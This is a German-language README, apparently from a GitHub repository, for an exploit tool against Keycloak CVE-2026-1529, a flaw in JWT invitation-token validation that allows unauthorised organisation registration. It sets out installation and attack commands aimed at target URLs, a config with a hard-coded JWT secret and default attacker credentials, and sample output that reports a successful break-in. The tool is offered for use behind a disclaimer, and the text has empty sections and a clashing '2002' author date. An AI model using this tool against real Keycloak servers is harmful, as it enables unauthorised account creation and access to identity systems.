
Keycloak: Nicht autorisierte Organisationsregistrierung durch fehlerhafte Validierung von Einladungstokens
CVE-2026-1529: Keycloak – Nicht autorisierte Organisationsregistrierung durch unsachgemäße Validierung von Einladungstokens
⚠️ WARNUNG: Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Unautorisierter Zugriff auf Computersysteme ist illegal.
Dieses Tool demonstriert eine kritische Schwachstelle in Keycloak (CVE-2026-1529), die eine nicht autorisierte Organisationsregistrierung durch unsachgemäße Validierung von JWT-Einladungstokens ermöglicht. Der Exploit manipuliert Einladungstokens, um nicht autorisierten Zugriff auf Keycloak-Instanzen zu erlangen.
Schwachstellendetails:
# Repository klonen
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Virtuelle Umgebung erstellen
python3 -m venv venv
source venv/bin/activate # Unter Windows: venv\Scripts\activate
# Abhängigkeiten installieren
pip install -r requirements.txt
# Verzeichnisstruktur erstellen
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Dateien aus Releases herunterladen oder manuell kopieren
# Dann Abhängigkeiten installieren
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Haupt-Exploit-Skript
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
├── config/
│ └── default_config.json # Konfigurationsdatei
├── utils/
│ ├── __init__.py # Paket-Initialisierer
│ ├── http_utils.py # HTTP-Client-Dienstprogramme
│ ├── jwt_utils.py # JWT-Manipulation
│ └── crypto_utils.py # Krypto-Dienstprogramme
├── logs/ # Automatisch generierte Logs
└── output/
└── reports/ # Exploit-Berichte
python3 keycloak-exploit.py https://target-keycloak.com
# Mit benutzerdefiniertem Einladungstoken
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# Mit benutzerdefinierter Organisations-ID
python3 keycloak-exploit.py -o custom_org_id https://target.com
# Mit benutzerdefinierter Konfigurationsdatei
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Debug-Logging aktivieren
python3 keycloak-exploit.py -d https://target.com
# Hilfe anzeigen
python3 keycloak-exploit.py -h
# Version anzeigen
python3 keycloak-exploit.py -v
Bearbeiten Sie config/default_config.json, um Exploit-Parameter anzupassen:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Der Exploit funktioniert in den folgenden Schritten:
Schwachstellenprüfung
Token-Generierung/-Manipulation
Benutzerregistrierung
Anmeldeüberprüfung
Berichtserstellung
output/reports/┌─────────────────┐
│ Zielprüfung │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Token Gen/Holen│
└────────┬────────┘
│
▼
┌─────────────────┐
│ Token Manipul. │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Benutzer Regist.│
└────────┬────────┘
│
▼
┌─────────────────┐
│ Anmeldetest │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Bericht Gen. │
└─────────────────┘
============================================================
CVE-2026-1529 EXPLOIT-ERGEBNISSE
============================================================
✓ Ziel ist anfällig für CVE-2026-1529
🎯 EXPLOIT ERFOLGREICH!
Benutzername: admin_user_2026
Passwort: KeycloakCVE2026!
E-Mail: [email protected]
Anmeldelink: https://target.com/realms/master/account
📄 Bericht gespeichert unter: output/reports/exploit_report_20260211_050507.txt
🔐 Verwenden Sie die bereitgestellten Anmeldedaten, um auf die Keycloak-Instanz zuzugreifen!
⚠️ Dies demonstriert nicht autorisierten Zugriff aufgrund von CVE-2026-1529
============================================================
von f3ds cr3w est, 2002
============================================================
Ein detaillierter Bericht wird in output/reports/ gespeichert und enthält:
Logs werden im Verzeichnis logs/ mit detaillierten Ausführungsinformationen gespeichert.
Lösung:
# Stellen Sie sicher, dass Sie sich im richtigen Verzeichnis befinden
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
Lösung:
# Stellen Sie sicher, dass das config-Verzeichnis existiert
mkdir -p config
# Kopieren oder erstellen Sie default_config.json in config/
Lösung: Dies wurde in der neuesten Version behoben. Aktualisieren Sie urllib3:
pip install --upgrade urllib3
Mögliche Gründe:
Lösung:
# Debug-Logging aktivieren, um weitere Details zu sehen
python3 keycloak-exploit.py -d https://target.com
Lösung:
# Timeout in config/default_config.json erhöhen
"timeout": 60
Aktivieren Sie ausführliches Logging zur Fehlerbehebung:
python3 keycloak-exploit.py -d https://target.com
Dies zeigt:
⚠️ WICHTIGER RECHTLICHER HINWEIS ⚠️
Dieses Tool wird NUR für BILDUNGS- und AUTORISIERTE SICHERHEITSTESTZwecke bereitgestellt.
Durch die Verwendung dieses Tools stimmen Sie zu, dass:
1. Sie dieses Tool nur auf Systemen verwenden, die Ihnen gehören oder für die Sie
eine ausdrückliche schriftliche Genehmigung zum Testen haben.
2. Sie verstehen, dass nicht autorisierter Zugriff auf Computersysteme illegal ist,
gemäß Gesetzen einschließlich, aber nicht beschränkt auf:
- Computer Fraud and Abuse Act (CFAA) – Vereinigte Staaten
- Computer Misuse Act – Vereinigtes Königreich
- Ähnliche Gesetzgebung in anderen Ländern
3. Sie die volle Verantwortung für alle Konsequenzen der Nutzung dieses Tools übernehmen.
4. Die Autoren und Mitwirkenden sind nicht verantwortlich für Missbrauch oder Schäden,
die durch dieses Tool verursacht werden.
5. Dieses Tool wird "WIE BESEHEN" ohne jegliche Gewährleistung bereitgestellt.
NUTZUNG AUF EIGENES RISIKO. NICHT AUTORISIERTER ZUGRIFF IST EIN VERBRECHEN.
Beiträge sind willkommen! Bitte befolgen Sie diese Richtlinien:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)# Ihren Fork klonen
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Virtuelle Umgebung erstellen
python3 -m venv venv
source venv/bin/activate
# Abhängigkeiten installieren
pip install -r requirements.txt
# Änderungen vornehmen und testen
python3 keycloak-exploit.py https://test-target.com
Erstellt von: f3ds cr3w est, 2002
Für Fragen, Probleme oder Sicherheitsbedenken:
Denken Sie daran: Üben Sie immer verantwortungsvolle Offenlegung und ethisches Hacken. Ref: https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation Mit ❤️ erstellt von f3ds cr3w est, 2002
| Argument | Kurzform | Beschreibung |
|---|
target | - | Ziel-Keycloak-URL (erforderlich) |
--token | -t | Benutzerdefiniertes Einladungstoken |
--org-id | -o | Benutzerdefinierte Organisations-ID |
--config | -c | Pfad zur Konfigurationsdatei |
--debug | -d | Debug-Logging aktivieren |
--version | -v | Versionsinformationen anzeigen |
--help | -h | Hilfemeldung anzeigen |
| Abschnitt | Parameter | Beschreibung | Standard |
|---|
exploit | default_username | Benutzername für die Registrierung | admin_user_2026 |
exploit | default_password | Passwort für die Registrierung | KeycloakCVE2026! |
exploit | default_email | E-Mail für die Registrierung | [email protected] |
exploit | timeout | HTTP-Request-Timeout (Sekunden) | 30 |
exploit | max_retries | Maximale HTTP-Wiederholungsversuche | 3 |
jwt | algorithm | JWT-Signaturalgorithmus | HS256 |
jwt | secret_key | JWT-Geheimschlüssel | Benutzerdefiniert |
jwt | token_expiry | Token-Ablaufzeit (Sekunden) | 3600 |